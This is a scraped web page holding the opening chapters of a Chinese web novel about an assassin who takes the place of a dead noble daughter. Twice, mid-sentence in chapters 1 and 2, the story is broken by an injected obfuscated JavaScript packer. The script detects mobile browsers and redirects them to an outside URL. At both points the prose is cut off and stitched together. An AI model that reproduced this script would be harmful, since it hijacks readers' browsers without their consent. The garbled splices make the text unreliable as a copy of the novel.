《她成嫡女后》 1. 刺杀 夜色刚垂，皇城外望京街便亮起了万千灯火。 此时，一个衣着素黑斗篷，脸上还带着青白蛇形面具的人倚着一把细长的玄剑，侧身坐在了最高处的屋顶上，一只手慵懒且随意搭在了曲着的右腿膝盖上。 从身形便能看出是一个女子。 而这女子便是黑刃堂的顶级杀手之一——汀竹，外界称为“无常”。 皎白的月光撒在了她清冷犀利的眼眸中，而这双眼正直直的盯着前面不远处。 身下，酒肆檐角的走马灯转着彩画，映着墙面流光溢彩。街边各式各样的摊铺，门楣上挂着亮堂堂的琉璃灯，照着铺上琳琅满目的商品更夺人眼球。孩童提着兔子灯在人群中穿梭，灯影在青石板上蹦跳，可谓是热闹非凡。 然而这繁华的景象却未能惹她注目，而她的注意力全部集中在相隔一座屋子的酒楼包房中，隔着板棂窗的两道人影。 那个端坐着的人影，便是堂中派给她今晚的刺杀对象，“端王”。 与此同时，酒楼一上好雅间内。 男人衣着青衣笔直挺立的站在窗前，左手按在腰间佩剑剑柄上，向眼前炕桌前坐着身份不凡的人说。“殿下，属下今日见太子身边的人前去了城西一处院落。” 那人左手握着一把扇柄，手腕处轻抵下颌，右手指尖无意识的摩挲着秧色小瓷杯，眼底眸色泛起一丝薄雾，眉峰也随着思绪轻蹙着。 “去查。” “对了，隐夜顺带去查下端王近期的动作。” “是。” 随后，隐夜拱手便退了下去。 过了没多久，不知哪来的一片竹叶莫名地飘落在了他的肩头。 箫凛眉峰微挑，眼尾悄悄往侧方后扫去，随即放下手中的瓷杯，“呼——”一声，侧边的窗面“哗啦”的掉落一地。 见此箫凛身形丝毫未变，似乎已然觉察到了接下来要发生的事。 旋即，剑破窗而入，径直朝着他头颅刺去。 然而在剑尖仅差一毫刺入发丝时，就被他用食、中两指如铁钳般精准卡在剑头处。 汀竹一时间还没来得及诧异，桌面上的瓷杯忽然朝她而来。她立马收剑来抵挡，瓷杯刚碰着剑锋便碎成了片。 “你是何人？” “自然是来索命的。” 俱时门外听见动静，立马夺门而入一个带刀侍卫。 这时，汀竹再次用劲挥着长臂，剑尖朝他的咽喉刺去。箫凛随即手腕轻转，左手中折扇“唰”的展开，扇面抵挡着剑尖，竹骨与剑身相撞，发出沉闷的“笃”声，扇面上的墨兰被剑风扫得微微颤动。 “殿下！” 侍卫见状急忙一个健步冲了过来，拔刀向汀竹劈来，她当即便转身躲开到一旁。 三人殴斗了一会，侍卫手臂挨了一剑。 这侍卫根本不是她对手，可这端王并不是传闻中所说，不善武斗，今日这是什么情况？ 疑惑了几秒，门外又来了几个侍卫。 眼见对面人多势众，力量悬殊，再纠缠下去对她的局势及其不好，保不齐将会被活抓。 汀竹没多想，随即便从袖口撒出一片白色粉末，紧接着又甩出几根银针。 “有暗器！” “当心粉末有毒！”那名带刀侍卫说完。 众人连忙用手背捂住口鼻，躲避那几根银针。 见此状，汀竹溜之大吉。 “明霄！”箫凛喊道。 明霄闻声便吩咐了那些个侍卫从窗子追了出去。 “殿下，你可安好？”明霄收刀上前仔细查看了一下箫凛的状态。 箫凛走向炕桌前又坐下，撑开了那把墨兰折扇。仔细端详着扇面，竹骨上的剑痕。 “无碍。” 垂眼间发觉腰间的荷包和玉佩不见了。 一时间双目凝重。 这刺客还是一名窃贼？ 正当疑惑时，余光又瞥见一片翠绿色的竹叶安静的在桌面右上角处，便拾起那片竹叶，捏着指尖查看。 “查查那刺客的身份。” 明霄看见那片竹叶，瞬间想起了一句话，便脱口而出。 “传闻，遇其竹叶落肩头，犹如地府鬼神黑白无常来索命。” “她被称为“无常”，民间神秘组织的一名杀手。” 汀竹从酒楼逃出来后，被七八个侍卫紧紧相追，便随便找了个达官贵人的门院，溜进了后院。 月影婆娑，树叶在夜空中随着微风飘动。 “小姐，今天二小姐当你面前这样说夫人还侮辱你，小姐你也不同老爷说，奴婢真的替小姐你和夫人打抱不平。”丫鬟攥着帕子快步上前，语气里满是对二小姐的气愤。 宋韫握着手里的书卷顿了顿，抬眸时眼底已无半分波澜，只是短短叹了口气，“锁秋，父亲事物繁忙，这种小事还是不要让父亲操心了，眼下我就希望娘亲的病能够快些好转。” 前段时间宋韫的母亲不幸感染风寒，直到现在都卧床不起，她现在只求母亲的病能快些好起来。 “小姐真是菩萨心肠，处处为老爷着想。”锁秋虽然嘴上不满小姐这般，但最终还是心软。 时刻为她想着，转身便前去屏风一旁大大打开的窗口前，想将窗关上。 “如今入秋了，夜里有风，奴婢这就把门窗都关好。如此，你就安心歇息吧。” 板棂窗刚要合上，一道黑色人影窜了进来。 锁秋被吓了一个激灵，张口就要大喊，立马便被窜进来的汀竹死死捂住了嘴巴，接着用剑柄紧紧合上了窗。 锁秋正想要挣脱她的束缚，脖颈贴来传一丝冰冷的利器。 剑锋借着烛火，泛着冷冷寒光。 “再动，头就断了。”冰冷的言语从耳朵边传来。 锁秋被吓哭了，刚才身上那股劲全都化成了现如今嘴里的小声抽泣。 她本就害怕，但不敢哭的再大声了。 怕这个歹人杀了她，又杀害她家小姐，她家小姐可是这世界最温柔的人。 一时不见锁秋的身影，宋韫有些疑惑，就前去屏风处查看。 就看见锁秋被一个带着青白蛇形面具的黑衣人用剑架着脖子，下意识想要惊呼，但很快用双手堵住了。 只能焦急担忧的小声呼喊着“锁......秋。” 锁秋一看到小姐，眼里的泪水又疯狂涌出，嘴里的声音更加激动着急。 汀竹见主仆俩人，只觉脑瓜疼，想着干脆直接将她二人当场解决，也会安静的多。 于是，刚想要动手时，对面那柔弱且面目有疤的小姐突然冷静开口道：“你要是动手，我就大喊。” “看是你手快还是我嘴快。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659318|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 宋韫想着这点威胁力度不够，连忙端起了一旁的烛台，靠近一旁的帘子。 语气狠绝，“大不了同归于尽！” 汀竹面具下的嘴角抽了抽。 她还是第一次见遇到歹人，还能这么强撑淡定威胁歹人的人，并且对方还是个娇生惯养的小姐。 刚才的想法突然有了丝松动。 “行。” “只要你不喊，我就不动。” 于是汀竹松开了捂着锁秋嘴巴的手。 “小姐......”锁秋委屈害怕的小声喊了声小姐。 下一秒，汀竹用中指从袖口处掏出一粒黑色的药丸，动作极快的喂进了锁秋的嘴里。 锁秋还未有所反应，“呃”药丸已然从喉咙吞进了肚中。 随后人便昏睡了过去，汀竹接着一掌将人送到了宋韫身前。 宋韫顿时放下烛台，揽过了锁秋，语气着急“你给锁秋吃了什么？！” 汀竹舒展了肩膀往身旁的椅子上一坐，缓慢开口。 “毒药，只要你不声张，我就给你解药。” “对了，这毒药只有我可以解，不要试图耍小聪明。” “不然，你的小婢女便要一命呜呼了。” 宋韫不语，刚将锁秋安好的扶在床上躺下。 门外便传来了一阵急促的脚步声。 一会门口处便被敲响，外面喊着“大小姐，刚刚端王府的侍卫追寻刺客，说是潜入了府中后院，你没受惊吧？” 宋韫看着椅子上坐着没有丝毫慌乱的刺客，平静的扯着嗓子喊道：“没，小姐这会已睡下了。” 说着，便吹灭了窗边的烛台。 “打扰了。”随后，外面脚步声渐行渐远。 待门外的家丁护卫彻底走远，宋韫又开口询问道:“解药。” 就在刚才宋韫的那翻动作，汀竹一直在细细端详着她。 眼前的宋韫两边脸颊处有两块非常惹眼凸起的疤痕，右眼角处有一颗黑痣，跟她眼下的位置一模一样。仔细看了翻就连眉骨眼廓都与自己有几分相似。虽然她面有残缺，但却温婉不怯场。 这让汀竹心中不免生起一丝好奇，她到底是一个什么样的女子。 随后将佩剑搭在了腿边一处，惬意的单手托着腮帮子，“安心睡吧，明日便给你解药。” 宋韫看了她一眼，眼神似乎在说，最好如此。 便把锁秋往里移动了一点，自己则是侧躺在了锁秋的身旁，眼睛死死盯着椅子上托着脑袋的汀竹，生怕她有其他动作。 良久，宋韫便传来了细微的呼噜声，可能是今日照顾母亲有些疲劳的缘故，她便沉沉熟睡了。 汀竹不禁感叹，这小姐胆子可真大，这都能睡得着。 于是小眯了一会，待到天将晓，在她所坐的桌子上方留下了一张字迹潦草的纸条。 写着几字：“昏睡丸，无毒。” 便从窗离去。 在城中躲了几日，汀竹这才彻底摆脱了端王府侍卫的追寻，回到了黑刃堂。 堂中有两个死规定，第一条，凡是入黑刃堂的无论男女，无论何时皆要带着面具；第二条，但凡刺杀任务失败或面具丢失，前者将要受七七四十九鞭后者将被剥皮剔骨。 而此时汀竹刺杀端王任务失败，将要面临鞭刑。 2. 顶替 鞭刑是在堂中央的一块巨大圆盘上行刑，两侧有两根巨大的柱子，柱子前方有两个巨大的注满盐水的石缸。 汀竹被柱子上那比手腕还粗大的铁链，缠绑四肢在圆盘正中心。 面对着堂中众人，随着身后上方传来的指令，身后那戴着狼形面具的管事用浸了盐水的麻绳长鞭，朝汀竹那较小的背脊抽打出去。 那人挥鞭落下时力道收得极快，鞭绳从左背擦至右下腰侧，带来一阵密集的刺痛，加之麻绳浸了盐水，痛感更加强烈犹如雷击般短促而又剧烈。每抽打一下便从石缸里沾满盐水接着挥鞭，还没等鞭刑结束石缸里清澈的盐水，早已被鞭上带着的鲜血染红了满缸。 直到七七四十九鞭结束，汀竹也没发出一丝痛苦的哀嚎，而是死死咬紧了牙冠挺过了一道又一道鞭子。 这是她第一次受刑，也是这么多年任务第一次失败，她发誓要是再遇到他，必定不让对方好过。 随后，众人散去，汀竹被管事解了铁链。 没了铁链的支撑，她的身子摇摇晃晃，下一秒便扑倒在地上。 擦了擦嘴角的血迹，正想撑起身子站起来，怀里突然滚来一个小白瓷瓶。 头顶上方传来管事那沉重粗咧的声音，“金创药，好生修养别落下病根耽误任务。” 汀竹背上的边伤，痛的开不了口。只好强忍痛意朝管事离开的背影拱了拱手谢过。 在这个毫无人性，吃人不吐骨头的地方，她除了对管事有一丝恩情，其他别无。 还记得多年前她还是个经常挨饿受冻的小乞丐，会因一点食物被其他乞丐抢夺殴打。 而后便遇到了他，只知他那会也戴着那狼形面具。 那时他问她想不想吃饱饭，也不会再被挨打受冻，她当时想都没想就跟他走了。 从此她就戴上了那青白蛇形面具，跟着他学了一身武艺，一步一步成为了如今令人闻风丧胆的“无常”。 拿着药瓶缓慢站了起来，拖着身子朝前每走一步，身上便传来一阵阵刺痛，就像被万根银针刺入骨中。脚步轻飘无力，随时要摔倒一般。 汀竹只好拿起一旁她的佩剑，杵着一步一步的回了她的睡处。 约莫两日，涂了金疮药，汀竹背上的伤已经开始结痂。 她便简单收拾了一番，就想去堂正庭请示新任务。 刚到正庭门口，欲想敲门而入。就从门缝中看到，戴着青面獠牙的面具正和戴着钟馗面形的面具正在洽谈。 汀竹本不想窃听堂中机密，但不成想俩人的谈话内容让她细思极恐。 钟馗面具声音沙哑沉重不像正常人能发出的声音，他说“不管你手下的人用尽什么办法，端王必须死！” “如若端王死了，圣上会彻查到......”青面獠牙反问，声音尖利让人听得十分刺耳。 钟馗面具又道：“自然是不会。还有运河一事.....” 汀竹听得认真，殊不知有人正巧从后面长廊路过。 身后立即就传来一声呵斥，“谁在哪！”　话音一落，便飞身前来。 汀竹顾不得疑虑，动作极快的飞上了屋顶往前山跑去。 这时庭中的两人被惊扰，立马从中跑了出来。 那钟馗面具对着那人大声喊道，“务必将此人除掉！” 说完，那人便去追汀竹了。 青面獠牙又叫了几个手下追了过去，吩咐他们：“活要见人，死要见尸。” 汀竹怎么也没想到一个“惩恶扬善”的民间组织会牵扯到朝廷，这跟她心中所谓的人间正道，根本不是一个光景。 她未来得及在心里批判，那人很快追了上来。 一根泛着寒光的铁爪朝她脸上抓来，汀竹身体朝后仰下去，一个滑跪“嗖”的一声就来到了那人面前。那人还未及时做出反应，便被她至此一剑划破了咽喉，顺势倒了下去。 由于下仰的姿势用力过大，背上刚愈合的鞭伤又被狠狠扯裂开来，汀竹身体下意识将要往下坠落，好在她用剑支撑住了身子。 刚起身走了几步，面前就来了五六个黑衣面具同伴阻拦了去路。 她直起剑，面具下扯出一抹惨淡的冷笑。 汀竹怎么也没想到自己有一天将要死在自己生活了十几年的地方。当然作为堂中智商值最强的存在，她必然不会落入他们手中。 “无常，得罪了。”中间那领头人说完，几个人便拿着自己擅长的武器朝汀竹冲了上来。 汀竹也不甘示弱，飞身上前，与几人缠打在一起。 加上她刚愈合的伤口，又被扯出了口子，每一次的主动攻击都换来背后一次次的撕裂。 眼看这样继续打斗，对她的现如今的状况十分不利。便退至一大步收剑，紧接着从怀里掏出两个有毒的烟雾竹筒，随着双手手腕处的数根银针一同甩出。 堂中都知晓她最擅毒药，于是对面众人连忙闭眼捂住口鼻，分散跑出烟雾前来追她。 等他们从雾中出来，汀竹早跑没影了。 许久，汀竹便来到了一处悬崖峭壁之上。 她站在涯边，看着眼下崖底深不可测。便退后几步，尚未来得及过多思考，那些人又追寻到了附近。 眼看就要被寻到此处，她想都没想直接往崖底跳了下去。好在下去的几丈处有一棵歪脖子小树，汀竹便一手拽紧了最粗的树枝，紧紧贴在崖壁面。 刚想将另外一只手也抓住另外一处的树枝，让其更为牢固。头顶上方悬崖边就传来了那些人的声音。 “周围都找了一圈，并未发现无常的踪迹。” “这下面是悬崖，无常不会从这下去吧？” 汀竹抬头看见上方有人露出个头颅往下观望，她一动不动连大气都不敢喘。 还好这个小树枝叶繁茂，遮挡住了她的身影，她衣着本就是黑色与山体石头融为一体，隔着几丈的距离肉眼很难看出分别来。 上面又传来声音，“这边有一条小路，好像是通往崖底。” 接着，上边脚步逐渐没了音。 汀竹便想拽着树枝将自己甩到上边崖边处，未料树枝已然快承受不住她的重量。 “咔吱”一声，人随着树枝一同跌落崖底。 好在她利用了崖壁缓冲了坠落的速度。落在底下时，虽身受重伤，但好在保了性命。 她很是艰难的撑起了身子，杵着剑柄朝右侧走了几步，视线内忽然模糊看见有一道浅绿色的一团布料，上面染着大片的红晕斑斑。 轮廓像是一个人。 汀竹上前查看，是一名坠涯的女子。女子衣着的面料，一看就是一位达官显贵家的小姐。 她看到此人，突然就想起了那晚的小姐，不知怎的心中莫名有一个不好的念想。接着汀竹就用剑柄挑开了女子头顶的幂篱，女子脸颊血淋淋的，但她一眼便看到女子眼角处那颗黑痣。 心口忽然一紧，连忙上前弯下腰身伸出两根手指前去探查女子是否还有气儿。手指刚探近，指面就感受道一丝温热的气息。 汀竹便轻轻用手摇晃了宋韫，“喂，小姐醒醒......” 宋韫本就失血过多晕了过去，只剩一口气还没断，艰难的撑起了眼皮，眼神涣散迷离看不清说话人的面容，只撑着最后一口气说着此生最后一句话:“锁秋，替我......照顾娘亲。” 说完便断了气。 汀竹见此状况心里复杂极了。 她想着眼下便是很好的脱身法，依照堂中做法，“活要见人，死要见尸”堂中才会善罢甘休。 因此汀竹便想到了用地上这女子来冒充她已死的消息，而她则是顶替 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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汀竹便从她自带的一个小药瓶里，拿了与之相克的毒药，以毒攻毒，脸上这才好受般浅浅消了毒。虽然毒是消了，但因脸上是破了皮，未能及时伤口洁创，伤口处依旧是溃烂红肿。 经观天识向，她一会就寻到了太和城方向，于是往那方走去。 也不知是走了多久，眼前不远处悠然亮着十几把烛火在杂草树木之中移动，还有听着不清的叫喊声，似乎在寻找什么。 汀竹下意识靠着一棵树躲着观望是敌还是友。饿了一天了，她实在是没有力气再打斗了。 当人群越走越近，她忽然听到烛火中有一道十分熟悉的哭喊声。 “小姐，小姐......” “小姐,你在哪儿啊......” 这女子的声音不就是那晚她吓唬的那小姐的婢女吗，好像是叫锁秋。 接着汀竹便张了张嘴巴，有气无力的回应着:“救命啊......人没有人啊，我在这......” 锁秋也找主心切，一听到有呼救的喊叫，声音都没过她的脑，她就早已急忙寻了去。 寻到声音跟前，锁秋一看。 泪水止不住的又往外流。 “小姐!” 看着眼前的小姐，身上淡绿偏白的青荷缕裙被鲜红的血液染得已然看不出缕裙上的青荷，衣裙被枝丫刮的破烂不堪，身上到处都是留着血的伤口，无一处是好的。 锁秋心疼极了。 她不敢想小姐前不久所经历的何事，而她十分后悔没无时无刻跟在小姐身边。 带着哭腔将面前虚弱的人轻轻拥入怀里，“呜呜，小姐奴婢总算是找到你了......” “小姐你受苦了，奴婢......” 汀竹确认来人是锁秋，没仔细听身旁这人碎碎念，只是“嗯”了一声，便卸了防备安然的倒在了她的怀中。 “小姐！” 3. 入府 汀竹再次醒来便是第二日的午时。 房间内没有婢女，她忍着疼痛坐起了身子，看着被纱布包裹满的双手，揉了揉手腕处的酸胀。 这时，房门被从外推开，汀竹警惕的看着门口走进来的人，是锁秋松了口气。 如若是他人她还未摸清楚状况，身份多半会败露，好在来人是锁秋这个傻丫头。 下一秒，锁秋一见她醒了。便立马放下了手中的食盒，马不停蹄的往门外去。还时不时喊道“老爷，夫人，小姐醒了，小姐醒了。” 转眼间，房间内来了几个人，汀竹大感不妙。 好在脑子转得比手快。 依照着装，为首威严的男子便是锁秋口中的老爷，而身旁锁秋掺扶着的一个面相气血空虚的妇人应该就是夫人，而另外一个妖艳妇女以及她身旁靠着的年轻貌美女子，估计是府中的姨娘和二小姐。 锁秋连忙搀扶着夫人坐着了汀竹的床前。 夫人眼眶红润，满是心疼，心里也是着急，急得都掩嘴轻咳了两声。 捧着她那满是缠着纱布的手，心痛的无法呼吸，声音都在发颤，带着难以掩饰的哭腔，“清禾，我可怜的孩子......” 还未等那夫人说完，汀竹便轻轻推开了她，哑着嗓子开口假装询问，“你是谁，我又是谁，我怎么会在这里？” 被推开的夫人满脸困惑，心里更是着急了，语气也变得慌乱急促，“孩子，我是你母亲。你怎会不认得母亲了？” 一旁的二小姐见此，心直口快，“不会是摔傻了吧？” 此话一出，那站着一旁的老爷也是出口训斥，“宋婉，休要胡言！” 而那姨娘却连忙开口辩护着着，“老爷莫要生气，都怪妾身娇惯了二小姐。” “莲溪还不快跟父亲和大小姐认错。” 宋婉不服的低声道：“父亲，女儿知道错了。 接着又朝汀竹行了个礼道歉“对不起姐姐，妹妹不该如此说你。” 就这会功夫，除去那夫人的担忧，他人怕是对宋韫没那么真心相待，一个比一个演的精彩。 汀竹只觉这府中的水怕是深得很。 姨娘又朝锁秋道：“锁秋还愣着干嘛，还不快去替你家小姐叫大夫。” 锁秋随即欠了欠身，便出门寻大夫去了。 不一会，锁秋便找来了一个胡子斑白的大夫。 那大夫放下药盒子，便前去把了把汀竹的脉。 眼看大夫把脉良久，眉头还一直紧锁着，宋老爷便向大夫急切询问着，“大夫，小女这是生了什么病，竟不知自己是何人，就连她生生母亲也不认识了？” 大夫长叹一口气，“宋老爷，令千金从山崖坠落伤了脑袋，导致脑中里有一块血污，怕是得了离魂症，因此就记不得以前的记忆。” 汀竹无语，只在心中笑这个大夫是名庸医。不过好在且让她成功消除了没有记忆会给她带来的麻烦。 宋夫人又着急忙慌的开口问道：“大夫，那这病该如何治？” 大夫捋了捋胡须，满脸惆怅，又叹口气，“宋夫人，令千金的记忆一时半会怕是好不了，要等脑袋中的血污散去，才能恢复记忆，切记莫要刺激到了令千金。” 那大夫继续道：“体内的血从口出，令千金的嗓子怕是也伤着了，往后多喝些清肺润嗓的或许有好转。” “不过好在令千金福大命大，身体上的伤好生修养半个月，就能下地走动了。” 而后锁秋跟着大夫去医馆取药了。 宋老爷吩咐了底下丫鬟好生照顾小姐，便借着公务繁忙离开了。姨娘同二小姐见宋老爷离开，也找了个说辞随后离开。 房间内，顿时只剩宋夫人跟她以及两个宋夫人的贴身丫鬟在一旁伺候。 宋夫人抹着泪，“清禾啊，你受苦了......” 汀竹用缠着纱布的手轻轻拂去了宋夫人脸颊的泪水，哑着嗓子柔声道：“你就是我的母亲吗？” “我是叫宋清禾吗？” 宋夫人脸上难得流露出欣喜，“嗯，你是我怀胎十月所生，刚刚那个是你父亲宋磊，你叫宋韫，表字清禾。” 汀竹又问，“那父亲身旁那个妇人和那个二小姐是？” 说到那俩人，宋夫人言语中带着些疏离及厌恶，“那是府中的周姨娘，那二小姐是她的女儿，叫宋婉，表字莲溪。” “你还有一个哥哥，如今在边关......” * 西厢房内—— 周姨娘吩咐了婢女退下，便坐在椅子上，喝着茶。 宋婉站在一旁，同她说着，“娘，没想到这个宋韫命这么硬，从那么高的悬崖摔下去都还能活着。” “还以为她回不来了呢！” 周姨娘放下手中茶杯便拉过她的手，让她在自己身边坐了下来，“你呀，小心隔墙有耳听了去。” 宋婉撒着娇，“娘，我这不是为太子殿下打抱不平嘛。” “宋韫本就相貌丑陋，要不是因她是嫡女的身份，怎配为殿下的太子妃？” “好了，此事未必就能如她所愿。”周姨娘勾了唇角，似乎心中另有打算。 宋婉一听，心中立马欣喜起来，“娘，你可是想到了什么好点子吗?” 周姨娘继续卖弄着关子，“天机不可泄露。” 宋夫人走后，汀竹便小睡了一会，这一睡就到了晚食。 由于她身上受伤严重，便不能同家中众人在大厅中吃饭，一日三餐都要让锁秋用食盒给拿过来。 锁秋一进门就将食盒，拿到了她的床头前的一个桌子上，接着就将汀竹轻轻扶起身靠在了床头，还贴心拿了一床软被褥放在床头，让她靠的舒服。 又从一大碗汤中盛出一小碗汤，舀了一小勺细心吹了小会，“来小姐，这汤是老爷特地让厨房将府中上好的千年人参与那乌鸡炖煮。” “可补身了。” 差不多汤温能入口，才喂到汀竹嘴边。 汀竹贴着勺羹边小口喝着，两日粒米未进，早就饿的前胸贴后背。 她又是个习武之人，这点汤对她来说连解渴都算不上。 汀竹喝完便问，“锁秋是吧，有其他吃食没？” “你家小姐我快饿死了！” “有啊，还有一碗鱼肉熬煮的粥。”锁秋说着，就从食盒的最下层端出了一碗粥。 汀竹看着面前这晚清汤寡水的粥，上面飘着几颗葱花，瞬间没了食欲。闻着那股鱼腥味，她只觉胃里在翻滚。 呼吸一滞，撇撇嘴十分嫌弃，“太寡淡了！” 锁秋就搬出了大夫今日所说的话，“小姐要好生休养，饮食上忌辛辣重油，这几日切勿走动。” 庸医！庸医！庸医！ 她自己伤的重不重自己不知道，要不是得装得像宋韫，她现在立刻能飞檐走 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锁秋就急忙赶回府禀告了宋老爷，而后找了一个时辰才在普清寺后山处的悬崖下找到了她。 “找我的途中可有发现什么贼人，什么线索？”汀竹思索着她所说的经过。 她怀疑宋韫是被贼人追杀至悬崖，没有退路便选择了跳崖，加之她是个弱女子从那么高的崖坠落，必定是死路一条，而那些贼人也这么认为就没去崖底查看。 不然那会估摸着她会撞到残害宋韫的那些贼人。 锁秋挠了挠头，思虑了许久，才缓缓开口，“找寻的途中并未发现什么贼人，但有发现地上有许多的脚印，以及树枝折断的痕迹和一些血迹。” “就是沿着这些血迹才找了崖底。” 汀竹点了点头，锁秋说的树枝折断的痕迹多半是她先前与堂中的人打斗的痕迹。 那一切都说的通了。 宋韫是被追杀至跳崖身亡。 究竟是何人会对一个弱女子下如此毒的手。 “锁秋，我平日里待人如何？” 锁秋听了小脸一笑，“那自然是极好！府中除了夫人之外，那便是小姐你了！” “可否与人结怨呢？” 汀竹微眯着眸子，期待着锁秋的回答。 “要说结怨？小姐你——”说到这，锁秋突然瞳孔紧缩，深吸了一口气，凑到了她面前小声道，“小姐，你不会是想说有人想杀害于你！？” 汀竹点了点头。 得到肯定回答，锁秋立马就急了，连忙起身就要往外去，“这周姨娘跟二小姐也太恶毒了，我这就叫老爷为小姐主持公道！” 好在汀竹眼疾手快将人拉了回来，“回来，急什么？” “我知道你是为我好，没证据只会被倒打一耙。” 被这么一说，锁秋瞬间十分懊恼。 她差点因自己的鲁莽给小姐造成不要的麻烦。 随即就向汀竹祈求责罚。 汀竹没说什么，只是接着问了周姨娘母女俩。 “周姨娘名周伊人是商贩之女，是小姐刚出生时被老爷纳进府的，二小姐是在周姨娘进府次年生下的，与小姐相差一岁。” “平日里她母女俩仗着老爷宠爱多次欺压夫人和小姐你。” 4. 透气 半月已过，庭院右侧巨大的榆树叶子如今颜色更黄了些。 汀竹在床塌上躺了半月，终是能够下床走动了，再如此躺下去她可真就要疯了。 于是乎，她撑起了身子下床，脚踏青云绣履鞋，就在闺房中粗略看了翻。 靠板棂窗的一侧方，梳妆台上摆着些胭脂水粉，而那块镶着几块漂亮的孔雀石的铜镜吸引了汀竹的目光。 她缓步走去，走进梳妆台前，轻轻弯了下腰，手上缠绕的纱布已摘下，露出那纤细修长而又泛着丝丝红色疤痕的手指，柔柔的附在了镜面上。 铜镜镜面上清晰映照出一双清澈剔透的双眸，眸中夹杂着些清冷，似乎又带着淡淡的蛊惑之意。 两边脸颊上那红肿发炎的伤口已经愈合，遗留下几条暗红色的疤痕。 忽略脸颊上的缺陷，从眉眼之间不难看出镜中的面容是一个绝色娇容的美人。 汀竹看着镜中的自己，轻柔抚摸上了脸上那几道红痕。 这还是她第一次摘掉面具光明正大的照着铜镜。 她之前只有偷偷借着月光以剑锋相照。 那时的自己脸上可没这么些瑕疵。 不过，这些并不妨碍汀竹所行之目的。 她倒是要好好想想如何才能让杀害宋韫的真凶能够得到他应有的下场。 “小姐，你何时起来了？！”锁秋刚走近门口就看衣衫单薄的汀竹站在了有秋风吹入的窗口前，连忙跨过门槛小跑了进来。 拿起一旁架子上的外衫就往她身上披着，余光瞟到镜中汀竹的面容。 惊讶道：“小姐，你的脸？” 汀竹心中一颤，难道是发现她与死去的宋韫相貌并不一样。 正想开口如何辩解，接着锁秋又神情欣喜着，“那大夫医术高明，简直是妙手回春啊。” “没想到不仅把小姐身上的伤治好了，就连脸上数年的疤痕都消淡了不少。” “再去找那大夫瞧上一瞧，说不定这疤痕就彻底消散了。” 汀竹暗暗松了口气，“那大夫要是有那本事，我这脸上的疤就不会有数年之久了。” 她目前并不打算恢复容貌，过于出奇会惹人生疑。 锁秋揉了揉脑袋，听她这么一说也并不无道理。 想了一瞬就得了定论，“那就是小姐你菩萨心肠，连老天都眷顾小姐你，才会如如今这般因祸得福。” 汀竹岔开了话，“出去走走。” 漫步欲要往外走。 锁秋道：“小姐你这病才刚刚好转，怎又出去吹得了冷风？” 汀竹弯着眉，嘴角挂着浅浅笑意，“你家小姐我啊，就是在床塌上躺了数日心头烦闷，想来透透气。” 锁秋忽然想起前些日子，中秋佳节，府中婆子摘了些刚长的初桂做了桂花糕及桂花陷的月饼。 便开口提道：“小姐，沁香园的桂花开了大片，我扶你去那头透气可好？” 汀竹应了一声，锁秋就又取来了一条白色的面纱。 沁香园位于正房与西厢房的交接处，小径两旁栽满了不同种类的观赏性树木，如今正是桂花枝头正盛，特别是那丹桂香气浓郁，甜润。 锁秋搀扶着汀竹一路来到了院中一处的小凉亭中。 扶着她在亭中的廊椅上坐了下来。 小凉亭处于池塘边上而修建，池中不仅养着红鲤，还有着仍在开花的睡莲，更池中添了不少光景。 而池边有两名丫鬟正在采摘枝丫上的香桂。 “那两人是谁？”看着那两名丫鬟，汀竹有些眼熟便开口询问。 锁秋道：“是夫人身边的梓盼姐姐跟梓溪姐姐。” “知晓了。” 是她醒来时在宋夫人身边的那两名贴身丫鬟。 微风拂过发丝，轻轻吹过了她脸上的面纱，有些寒意。 “小姐，又起风了。”锁秋站在一旁贴心的将她身上领口处的披风整理了一翻，怕冷风从脖颈处溜进去。 汀竹淡漠，她眼睛直直看着眼前那因微风吹过，泛起微微涟漪的池面，闻着那清香四溢的桂花香，似乎出了神。 锁秋欲想问起什么，就被凉亭另一侧的来人打断。 “咦？这不是我那福大命大的姐姐吗？” “大/二小姐安。”双方丫鬟都极不情愿的给对方行了个礼。 尤其是锁秋那小嘴，都快瘪成一条缝了。 汀竹回神，偏头看向了宋婉所在之处，只见对方那人又朝她走近了些。 “姐姐不是受伤严重，不该待在你那暖居阁中好好修养身体，怎会跑来这沁香园？”宋婉一脸忧心的看着汀竹，言语上好似十分关心她这个姐姐的身体。 宋婉也着实没想到，来这沁香园赏丹桂，竟遇到宋韫这晦气的东西。 又轻笑着：“不怕像你母亲那样感染风寒，久窝床塌上。” “哦，倒是有劳二妹妹挂心了。” “听锁秋说这圆中桂花开了，特地过来透透气。”汀竹说完，指尖捏着绣帕拿在嘴边朝宋婉那方，顾作咳嗽了两声。 又缓缓开口：“怕真是如二妹妹所言，受了风寒。” 此话一出口，身前这宋婉果真是后退了两步，就连神色都失了表面的和气，只遗留着一脸嫌弃。 “姐姐还是快些回去养病吧，可别出来将病气过继给他人，尤其是父亲。” 汀竹微眯着双眸，脸上挂着一抹不易差觉的冷笑，“是是是，二妹妹说的对。” 接着怕宋韫将病气过给自己的宋婉便带着丫鬟去连忙离开了凉亭，去了前院。 “小姐，要不咱回去吧？” 汀竹浅浅笑道，“你不会真以为我染了风寒吧？” 锁秋拧着眉，眨巴了几下眼睛，“可是我刚刚都听见小姐你咳嗽了两声。” 这丫头心思也太单纯可爱了。 汀竹继而又望向池面，想着又扯了个无奈的笑，“我那是故意的。” “故意？” 锁秋不解，汀竹也没着急解释。 见小姐也不在继续说道，锁秋又思虑了一小会，这才恍然大悟。 发出惊叹：“小姐果真是聪明。” 汀竹又无奈笑了笑。 片刻后，圆中风似大。 